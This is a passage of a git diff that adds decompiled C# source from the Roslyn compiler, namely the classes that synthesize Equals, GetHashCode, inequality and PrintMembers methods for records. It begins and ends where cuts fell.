base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + CSharpCompilation declaringCompilation = DeclaringCompilation; + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)112)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordEquals.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordEquals.cs new file mode 100644 index 0000000..122722a --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordEquals.cs @@ -0,0 +1,111 @@ +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedRecordEquals : SynthesizedRecordOrdinaryMethod +{ + private readonly PropertySymbol? _equalityContract; + + public SynthesizedRecordEquals(SourceMemberContainerTypeSymbol containingType, PropertySymbol? equalityContract, int memberOffset) + : base(containingType, "Equals", memberOffset, (DeclarationModifiers)(0x10 | ((!containingType.IsSealed) ? 131072 : 0) | (containingType.IsRecordStruct ? 1024 : 0))) + { + _equalityContract = equalityContract; + } + + protected override (TypeWithAnnotations ReturnType, ImmutableArray Parameters) MakeParametersAndBindReturnType(BindingDiagnosticBag diagnostics) + { + CSharpCompilation declaringCompilation = DeclaringCompilation; + Location returnTypeLocation = ReturnTypeLocation; + NullableAnnotation nullableAnnotation = (ContainingType.IsRecordStruct ? NullableAnnotation.Oblivious : NullableAnnotation.Annotated); + return (ReturnType: TypeWithAnnotations.Create(Binder.GetSpecialType(declaringCompilation, (SpecialType)7, returnTypeLocation, diagnostics)), Parameters: ImmutableArray.Create((ParameterSymbol)new SourceSimpleParameterSymbol(this, TypeWithAnnotations.Create(ContainingType, nullableAnnotation), 0, (RefKind)0, (ScopedKind)0, "other", Locations))); + } + + protected override int GetParameterCountFromSyntax() + { + return 1; + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + //IL_014f: Unknown result type (might be due to invalid IL or missing references) + //IL_0155: Invalid comparison between Unknown and I4 + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)ContainingType.GetNonNullSyntaxNode(), compilationState, diagnostics); + try + { + BoundParameter boundParameter = syntheticBoundNodeFactory.Parameter(Parameters[0]); + bool isRecordStruct = ContainingType.IsRecordStruct; + BoundExpression boundExpression; + if (isRecordStruct) + { + boundExpression = null; + } + else if (ContainingType.BaseTypeNoUseSiteDiagnostics.IsObjectType()) + { + if ((object)_equalityContract.GetMethod == null) + { + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + return; + } + if (_equalityContract.IsStatic || !_equalityContract.Type.Equals(DeclaringCompilation.GetWellKnownType((WellKnownType)61), (TypeCompareKind)63)) + { + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + return; + } + boundExpression = syntheticBoundNodeFactory.ObjectNotEqual(boundParameter, syntheticBoundNodeFactory.Null(syntheticBoundNodeFactory.SpecialType((SpecialType)1))); + BoundCall right = syntheticBoundNodeFactory.Call(null, syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)44), syntheticBoundNodeFactory.Property(syntheticBoundNodeFactory.This(), _equalityContract), syntheticBoundNodeFactory.Property(boundParameter, _equalityContract)); + boundExpression = syntheticBoundNodeFactory.LogicalAnd(boundExpression, right); + } + else + { + MethodSymbol overriddenMethod = ContainingType.GetMembersUnordered().OfType().Single() + .OverriddenMethod; + if ((object)overriddenMethod == null || !overriddenMethod.ContainingType.Equals(ContainingType.BaseTypeNoUseSiteDiagnostics, (TypeCompareKind)63) || (int)overriddenMethod.ReturnType.SpecialType != 7) + { + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + return; + } + boundExpression = syntheticBoundNodeFactory.Call(syntheticBoundNodeFactory.Base(overriddenMethod.ContainingType), overriddenMethod, syntheticBoundNodeFactory.Convert(overriddenMethod.Parameters[0].Type, boundParameter)); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + bool flag = false; + foreach (FieldSymbol item in ContainingType.GetFieldsToEmit()) + { + if (!item.IsStatic) + { + instance.Add(item); + TypeSymbol type = item.Type; + if (type.IsPointerOrFunctionPointer()) + { + diagnostics.Add(ErrorCode.ERR_BadFieldTypeInRecord, item.GetFirstLocationOrNone(), type); + flag = true; + } + else if (type.IsRestrictedType()) + { + flag = true; + } + } + } + if (instance.Count > 0 && !flag) + { + boundExpression = MethodBodySynthesizer.GenerateFieldEquals(boundExpression, boundParameter, instance, syntheticBoundNodeFactory); + } + else if (boundExpression == null) + { + boundExpression = syntheticBoundNodeFactory.Literal(value: true); + } + instance.Free(); + if (!isRecordStruct) + { + boundExpression = syntheticBoundNodeFactory.LogicalOr(syntheticBoundNodeFactory.ObjectEqual(syntheticBoundNodeFactory.This(), boundParameter), boundExpression); + } + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.Block(syntheticBoundNodeFactory.Return(boundExpression))); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordGetHashCode.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordGetHashCode.cs new file mode 100644 index 0000000..069376c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordGetHashCode.cs @@ -0,0 +1,101 @@ +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedRecordGetHashCode : SynthesizedRecordObjectMethod +{ + private readonly PropertySymbol? _equalityContract; + + protected override SpecialMember OverriddenSpecialMember => (SpecialMember)97; + + public SynthesizedRecordGetHashCode(SourceMemberContainerTypeSymbol containingType, PropertySymbol? equalityContract, int memberOffset) + : base(containingType, "GetHashCode", memberOffset, containingType.IsRecordStruct) + { + _equalityContract = equalityContract; + } + + protected override (TypeWithAnnotations ReturnType, ImmutableArray Parameters) MakeParametersAndBindReturnType(BindingDiagnosticBag diagnostics) + { + CSharpCompilation declaringCompilation = DeclaringCompilation; + Location returnTypeLocation = ReturnTypeLocation; + return (ReturnType: TypeWithAnnotations.Create(Binder.GetSpecialType(declaringCompilation, (SpecialType)13, returnTypeLocation, diagnostics)), Parameters: ImmutableArray.Empty); + } + + protected override int GetParameterCountFromSyntax() + { + return 0; + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Invalid comparison between Unknown and I4 + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)SyntaxNode, compilationState, diagnostics); + try + { + MethodSymbol equalityComparer_GetHashCode = null; + MethodSymbol equalityComparer_get_Default = null; + BoundExpression boundExpression; + if (ContainingType.IsRecordStruct) + { + boundExpression = null; + } + else if (ContainingType.BaseTypeNoUseSiteDiagnostics.IsObjectType()) + { + if ((object)_equalityContract.GetMethod == null) + { + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + return; + } + if (_equalityContract.IsStatic) + { + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + return; + } + ensureEqualityComparerHelpers(syntheticBoundNodeFactory, ref equalityComparer_GetHashCode, ref equalityComparer_get_Default); + boundExpression = MethodBodySynthesizer.GenerateGetHashCode(equalityComparer_GetHashCode, equalityComparer_get_Default, syntheticBoundNodeFactory.Property(syntheticBoundNodeFactory.This(), _equalityContract), syntheticBoundNodeFactory); + } + else + { + MethodSymbol overriddenMethod = base.OverriddenMethod; + if ((object)overriddenMethod == null || (int)overriddenMethod.ReturnType.SpecialType != 13) + { + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + return; + } + boundExpression = syntheticBoundNodeFactory.Call(syntheticBoundNodeFactory.Base(overriddenMethod.ContainingType), overriddenMethod); + } + BoundLiteral boundHashFactor = null; + foreach (FieldSymbol item in ContainingType.GetFieldsToEmit()) + { + if (!item.IsStatic) + { + ensureEqualityComparerHelpers(syntheticBoundNodeFactory, ref equalityComparer_GetHashCode, ref equalityComparer_get_Default); + boundExpression = ((boundExpression != null) ? MethodBodySynthesizer.GenerateHashCombine(boundExpression, equalityComparer_GetHashCode, equalityComparer_get_Default, ref boundHashFactor, syntheticBoundNodeFactory.Field(syntheticBoundNodeFactory.This(), item), syntheticBoundNodeFactory) : MethodBodySynthesizer.GenerateGetHashCode(equalityComparer_GetHashCode, equalityComparer_get_Default, syntheticBoundNodeFactory.Field(syntheticBoundNodeFactory.This(), item), syntheticBoundNodeFactory)); + } + } + if (boundExpression == null) + { + boundExpression = syntheticBoundNodeFactory.Literal(0); + } + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.Block(syntheticBoundNodeFactory.Return(boundExpression))); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + static void ensureEqualityComparerHelpers(SyntheticBoundNodeFactory F, [NotNull] ref MethodSymbol? reference, [NotNull] ref MethodSymbol? reference2) + { + if ((object)reference == null) + { + reference = F.WellKnownMethod((WellKnownMember)58); + } + if ((object)reference2 == null) + { + reference2 = F.WellKnownMethod((WellKnownMember)59); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordInequalityOperator.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordInequalityOperator.cs new file mode 100644 index 0000000..a3eda09 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordInequalityOperator.cs @@ -0,0 +1,25 @@ +using System.Linq; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedRecordInequalityOperator : SynthesizedRecordEqualityOperatorBase +{ + public SynthesizedRecordInequalityOperator(SourceMemberContainerTypeSymbol containingType, int memberOffset, BindingDiagnosticBag diagnostics) + : base(containingType, "op_Inequality", memberOffset, diagnostics) + { + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)ContainingType.GetNonNullSyntaxNode(), compilationState, diagnostics); + try + { + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.Block(syntheticBoundNodeFactory.Return(syntheticBoundNodeFactory.Not(syntheticBoundNodeFactory.Call(null, ContainingType.GetMembers("op_Equality").OfType().Single(), syntheticBoundNodeFactory.Parameter(Parameters[0]), syntheticBoundNodeFactory.Parameter(Parameters[1])))))); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordObjEquals.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordObjEquals.cs new file mode 100644 index 0000000..1258c58 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordObjEquals.cs @@ -0,0 +1,52 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedRecordObjEquals : SynthesizedRecordObjectMethod +{ + private readonly MethodSymbol _typedRecordEquals; + + protected override SpecialMember OverriddenSpecialMember => (SpecialMember)98; + + public SynthesizedRecordObjEquals(SourceMemberContainerTypeSymbol containingType, MethodSymbol typedRecordEquals, int memberOffset) + : base(containingType, "Equals", memberOffset, containingType.IsRecordStruct) + { + _typedRecordEquals = typedRecordEquals; + } + + protected override (TypeWithAnnotations ReturnType, ImmutableArray Parameters) MakeParametersAndBindReturnType(BindingDiagnosticBag diagnostics) + { + CSharpCompilation declaringCompilation = DeclaringCompilation; + Location returnTypeLocation = ReturnTypeLocation; + NullableAnnotation nullableAnnotation = (ContainingType.IsRecordStruct ? NullableAnnotation.Oblivious : NullableAnnotation.Annotated); + return (ReturnType: TypeWithAnnotations.Create(Binder.GetSpecialType(declaringCompilation, (SpecialType)7, returnTypeLocation, diagnostics)), Parameters: ImmutableArray.Create((ParameterSymbol)new SourceSimpleParameterSymbol(this, TypeWithAnnotations.Create(Binder.GetSpecialType(declaringCompilation, (SpecialType)1, returnTypeLocation, diagnostics), nullableAnnotation), 0, (RefKind)0, (ScopedKind)0, "obj", Locations))); + } + + protected override int GetParameterCountFromSyntax() + { + return 1; + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Invalid comparison between Unknown and I4 + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)SyntaxNode, compilationState, diagnostics); + try + { + if ((int)_typedRecordEquals.ReturnType.SpecialType != 7) + { + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + return; + } + BoundParameter boundParameter = syntheticBoundNodeFactory.Parameter(Parameters[0]); + BoundExpression expression = ((!ContainingType.IsRecordStruct) ? ((BoundExpression)syntheticBoundNodeFactory.Call(syntheticBoundNodeFactory.This(), _typedRecordEquals, syntheticBoundNodeFactory.As(boundParameter, ContainingType))) : ((BoundExpression)syntheticBoundNodeFactory.LogicalAnd(syntheticBoundNodeFactory.Is(boundParameter, ContainingType), syntheticBoundNodeFactory.Call(syntheticBoundNodeFactory.This(), _typedRecordEquals, syntheticBoundNodeFactory.Convert(ContainingType, boundParameter))))); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.Block(ImmutableArray.Create((BoundStatement)syntheticBoundNodeFactory.Return(expression)))); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordObjectMethod.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordObjectMethod.cs new file mode 100644 index 0000000..9480156 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordObjectMethod.cs @@ -0,0 +1,42 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SynthesizedRecordObjectMethod : SynthesizedRecordOrdinaryMethod +{ + protected abstract SpecialMember OverriddenSpecialMember { get; } + + protected SynthesizedRecordObjectMethod(SourceMemberContainerTypeSymbol containingType, string name, int memberOffset, bool isReadOnly) + : base(containingType, name, memberOffset, (DeclarationModifiers)(0x40010 | (isReadOnly ? 1024 : 0))) + { + } + + protected sealed override void MethodChecks(BindingDiagnosticBag diagnostics) + { + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + base.MethodChecks(diagnostics); + VerifyOverridesMethodFromObject(this, OverriddenSpecialMember, diagnostics); + } + + internal static bool VerifyOverridesMethodFromObject(MethodSymbol overriding, SpecialMember overriddenSpecialMember, BindingDiagnosticBag diagnostics) + { + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + bool flag = false; + if (!overriding.IsOverride) + { + flag = true; + } + else + { + MethodSymbol methodSymbol = overriding.OverriddenMethod?.OriginalDefinition; + if ((object)methodSymbol != null && (!(methodSymbol.ContainingType is SourceMemberContainerTypeSymbol { IsRecord: not false }) || !(methodSymbol.ContainingModule == overriding.ContainingModule))) + { + MethodSymbol leastOverriddenMethod = overriding.GetLeastOverriddenMethod(null); + flag = (object)leastOverriddenMethod != overriding.ContainingAssembly.GetSpecialTypeMember(overriddenSpecialMember) && leastOverriddenMethod.ReturnType.Equals(overriding.ReturnType, (TypeCompareKind)63); + } + } + if (flag) + { + diagnostics.Add(ErrorCode.ERR_DoesNotOverrideMethodFromObject, overriding.GetFirstLocation(), overriding); + } + return flag; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordOrdinaryMethod.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordOrdinaryMethod.cs new file mode 100644 index 0000000..6449788 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordOrdinaryMethod.cs @@ -0,0 +1,105 @@ +using System.Collections.Immutable; +using System.Globalization; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class SynthesizedRecordOrdinaryMethod : SourceOrdinaryMethodSymbolBase +{ + private readonly int _memberOffset; + + public sealed override bool IsImplicitlyDeclared => true; + + protected sealed override Location ReturnTypeLocation => GetFirstLocation(); + + public sealed override ImmutableArray TypeParameters => ImmutableArray.Empty; + + protected sealed override TypeSymbol? ExplicitInterfaceType => null; + + protected sealed override SourceMemberMethodSymbol? BoundAttributesSource => null; + + internal sealed override bool GenerateDebugInfo => false; + + internal sealed override bool SynthesizesLoweredBoundBody => true; + + protected SynthesizedRecordOrdinaryMethod(SourceMemberContainerTypeSymbol containingType, string name, int memberOffset, DeclarationModifiers declarationModifiers) + : base(containingType, name, containingType.GetFirstLocation(), (CSharpSyntaxNode)(object)containingType.SyntaxReferences[0].GetSyntax(default(CancellationToken)), isIterator: false, (declarationModifiers: declarationModifiers, flags: SourceMemberMethodSymbol.MakeFlags((MethodKind)10, (RefKind)0, declarationModifiers, returnsVoid: false, returnsVoidIsSet: false, isExpressionBodied: false, isExtensionMethod: false, isNullableAnalysisEnabled: false, isVarArg: false, isExplicitInterfaceImplementation: false))) + { + _memberOffset = memberOffset; + } + + protected override void MethodChecks(BindingDiagnosticBag diagnostics) + { + var (returnType, parameters) = MakeParametersAndBindReturnType(diagnostics); + MethodChecks(returnType, parameters, diagnostics); + } + + protected abstract (TypeWithAnnotations ReturnType, ImmutableArray Parameters) MakeParametersAndBindReturnType(BindingDiagnosticBag diagnostics); + + protected sealed override MethodSymbol? FindExplicitlyImplementedMethod(BindingDiagnosticBag diagnostics) + { + return null; + } + + internal sealed override LexicalSortKey GetLexicalSortKey() + { + return LexicalSortKey.GetSynthesizedMemberKey(_memberOffset); + } + + public sealed override ImmutableArray> GetTypeParameterConstraintTypes() + { + return ImmutableArray>.Empty; + } + + public sealed override ImmutableArray GetTypeParameterConstraintKinds() + { + return ImmutableArray.Empty; + } + + protected sealed override void PartialMethodChecks(BindingDiagnosticBag diagnostics) + { + } + + protected sealed override void ExtensionMethodChecks(BindingDiagnosticBag diagnostics) + { + } + + protected sealed override void CompleteAsyncMethodChecksBetweenStartAndFinish() + { + } + + protected sealed override void CheckConstraintsForExplicitInterfaceType(ConversionsBase conversions, BindingDiagnosticBag diagnostics) + { + } + + internal override void AddSynthesizedAttributes(PEModuleBuilder moduleBuilder, ref ArrayBuilder attributes) + { + base.AddSynthesizedAttributes(moduleBuilder, ref attributes); + CSharpCompilation declaringCompilation = DeclaringCompilation; + Symbol.AddSynthesizedAttribute(ref attributes, declaringCompilation.TrySynthesizeAttribute((WellKnownMember)112)); + } + + internal sealed override OneOrMany> GetAttributeDeclarations() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return OneOrMany.Create>(default(SyntaxList)); + } + + public sealed override string? GetDocumentationCommentXml(CultureInfo? preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return null; + } + + internal sealed override ExecutableCodeBinder? TryGetBodyBinder(BinderFactory? binderFactoryOpt = null, bool ignoreAccessibility = false) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Synthesized/Records/SynthesizedRecordOrdinaryMethod.cs", 93); + } + + internal abstract override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics); +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordPrintMembers.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordPrintMembers.cs new file mode 100644 index 0000000..affd6a5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/SynthesizedRecordPrintMembers.cs @@ -0,0 +1,255 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class SynthesizedRecordPrintMembers : SynthesizedRecordOrdinaryMethod +{ + public SynthesizedRecordPrintMembers(SourceMemberContainerTypeSymbol containingType, IEnumerable userDefinedMembers, int memberOffset) + : base(containingType, "PrintMembers", memberOffset, MakeDeclarationModifiers(containingType, userDefinedMembers)) + { + } + + private static DeclarationModifiers MakeDeclarationModifiers(SourceMemberContainerTypeSymbol containingType, IEnumerable userDefinedMembers) + { + DeclarationModifiers declarationModifiers = ((containingType.IsRecordStruct || (containingType.BaseTypeNoUseSiteDiagnostics.IsObjectType() && containingType.IsSealed)) ? DeclarationModifiers.Private : DeclarationModifiers.Protected); + declarationModifiers = ((!containingType.IsRecord || containingType.BaseTypeNoUseSiteDiagnostics.IsObjectType()) ? ((DeclarationModifiers)((uint)declarationModifiers | (uint)((!containingType.IsSealed) ? 131072 : 0))) : (declarationModifiers | DeclarationModifiers.Override)); + if (IsReadOnly(containingType, userDefinedMembers)) + { + declarationModifiers |= DeclarationModifiers.ReadOnly; + } + return declarationModifiers; + } + + protected override (TypeWithAnnotations ReturnType, ImmutableArray Parameters) MakeParametersAndBindReturnType(BindingDiagnosticBag diagnostics) + { + CSharpCompilation declaringCompilation = DeclaringCompilation; + Location returnTypeLocation = ReturnTypeLocation; + NullableAnnotation nullableAnnotation = (ContainingType.IsRecordStruct ? NullableAnnotation.Oblivious : NullableAnnotation.NotAnnotated); + return (ReturnType: TypeWithAnnotations.Create(Binder.GetSpecialType(declaringCompilation, (SpecialType)7, returnTypeLocation, diagnostics)), Parameters: ImmutableArray.Create((ParameterSymbol)new SourceSimpleParameterSymbol(this, TypeWithAnnotations.Create(Binder.GetWellKnownType(declaringCompilation, (WellKnownType)309, diagnostics, returnTypeLocation), nullableAnnotation), 0, (RefKind)0, (ScopedKind)0, "builder", Locations))); + } + + protected override int GetParameterCountFromSyntax() + { + return 1; + } + + protected override void MethodChecks(BindingDiagnosticBag diagnostics) + { + base.MethodChecks(diagnostics); + MethodSymbol overriddenMethod = base.OverriddenMethod; + if ((object)overriddenMethod != null && !overriddenMethod.ContainingType.Equals(ContainingType.BaseTypeNoUseSiteDiagnostics, (TypeCompareKind)63)) + { + diagnostics.Add(ErrorCode.ERR_DoesNotOverrideBaseMethod, GetFirstLocation(), this, ContainingType.BaseTypeNoUseSiteDiagnostics); + } + } + + internal override void GenerateMethodBody(TypeCompilationState compilationState, BindingDiagnosticBag diagnostics) + { + //IL_0139: Unknown result type (might be due to invalid IL or missing references) + //IL_013f: Invalid comparison between Unknown and I4 + //IL_01f6: Unknown result type (might be due to invalid IL or missing references) + //IL_01fb: Unknown result type (might be due to invalid IL or missing references) + //IL_01fd: Unknown result type (might be due to invalid IL or missing references) + //IL_0200: Invalid comparison between Unknown and I4 + //IL_0202: Unknown result type (might be due to invalid IL or missing references) + //IL_0206: Invalid comparison between Unknown and I4 + //IL_023a: Unknown result type (might be due to invalid IL or missing references) + SyntheticBoundNodeFactory syntheticBoundNodeFactory = new SyntheticBoundNodeFactory(this, (SyntaxNode)(object)ContainingType.GetNonNullSyntaxNode(), compilationState, diagnostics); + try + { + ImmutableArray immutableArray = ImmutableArrayExtensions.WhereAsArray(ContainingType.GetMembers(), (Func)((Symbol m) => isPrintable(m))); + if (base.ReturnType.IsErrorType() || immutableArray.Any((Symbol m) => m.GetTypeOrReturnType().Type.IsErrorType())) + { + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + return; + } + BoundParameter boundParameter = syntheticBoundNodeFactory.Parameter(Parameters[0]); + ArrayBuilder instance; + if (ContainingType.BaseTypeNoUseSiteDiagnostics.IsObjectType() || ContainingType.IsRecordStruct) + { + if (immutableArray.IsEmpty) + { + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.Return(syntheticBoundNodeFactory.Literal(value: false))); + return; + } + instance = ArrayBuilder.GetInstance(); + if (!ContainingType.IsRecordStruct) + { + MethodSymbol methodSymbol = syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)128, isOptional: true); + if ((object)methodSymbol != null) + { + instance.Add((BoundStatement)syntheticBoundNodeFactory.ExpressionStatement(syntheticBoundNodeFactory.Call(null, methodSymbol))); + } + } + } + else + { + MethodSymbol overriddenMethod = base.OverriddenMethod; + if ((object)overriddenMethod == null || (int)overriddenMethod.ReturnType.SpecialType != 7) + { + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + return; + } + BoundCall boundCall = syntheticBoundNodeFactory.Call(syntheticBoundNodeFactory.Base(ContainingType.BaseTypeNoUseSiteDiagnostics), overriddenMethod, boundParameter); + if (immutableArray.IsEmpty) + { + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.Return(boundCall)); + return; + } + instance = ArrayBuilder.GetInstance(); + instance.Add(syntheticBoundNodeFactory.If(boundCall, makeAppendString(syntheticBoundNodeFactory, boundParameter, ", "))); + } + for (int num = 0; num < immutableArray.Length; num++) + { + Symbol symbol = immutableArray[num]; + string text = symbol.Name + " = "; + if (num > 0) + { + text = ", " + text; + } + instance.Add(makeAppendString(syntheticBoundNodeFactory, boundParameter, text)); + SymbolKind kind = symbol.Kind; + BoundExpression boundExpression; + if ((int)kind != 6) + { + if ((int)kind != 15) + { + throw ExceptionUtilities.UnexpectedValue((object)symbol.Kind); + } + boundExpression = syntheticBoundNodeFactory.Property(syntheticBoundNodeFactory.This(), (PropertySymbol)symbol); + } + else + { + boundExpression = syntheticBoundNodeFactory.Field(syntheticBoundNodeFactory.This(), (FieldSymbol)symbol); + } + BoundExpression boundExpression2 = boundExpression; + if (boundExpression2.Type.IsValueType) + { + instance.Add((BoundStatement)syntheticBoundNodeFactory.ExpressionStatement(syntheticBoundNodeFactory.Call(boundParameter, syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)464), syntheticBoundNodeFactory.Call(boundExpression2, syntheticBoundNodeFactory.SpecialMethod((SpecialMember)100))))); + } + else + { + instance.Add((BoundStatement)syntheticBoundNodeFactory.ExpressionStatement(syntheticBoundNodeFactory.Call(boundParameter, syntheticBoundNodeFactory.WellKnownMethod((WellKnownMember)466), syntheticBoundNodeFactory.Convert(syntheticBoundNodeFactory.SpecialType((SpecialType)1), boundExpression2)))); + } + } + instance.Add((BoundStatement)syntheticBoundNodeFactory.Return(syntheticBoundNodeFactory.Literal(value: true))); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.Block(instance.ToImmutableAndFree())); + } + catch (SyntheticBoundNodeFactory.MissingPredefinedMember missingPredefinedMember) + { + ((BindingDiagnosticBag)diagnostics).Add(missingPredefinedMember.Diagnostic); + syntheticBoundNodeFactory.CloseMethod(syntheticBoundNodeFactory.ThrowNull()); + } + static bool isPrintable(Symbol m) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Invalid comparison between Unknown and I4 + if (!IsPublicInstanceMember(m)) + { + return false; + } + if ((int)m.Kind == 6 && !(m is TupleErrorFieldSymbol)) + { + return true; + } + if ((int)m.Kind == 15) + { + return IsPrintableProperty((PropertySymbol)m); + } + return false; + } + static BoundStatement makeAppendString(SyntheticBoundNodeFactory F, 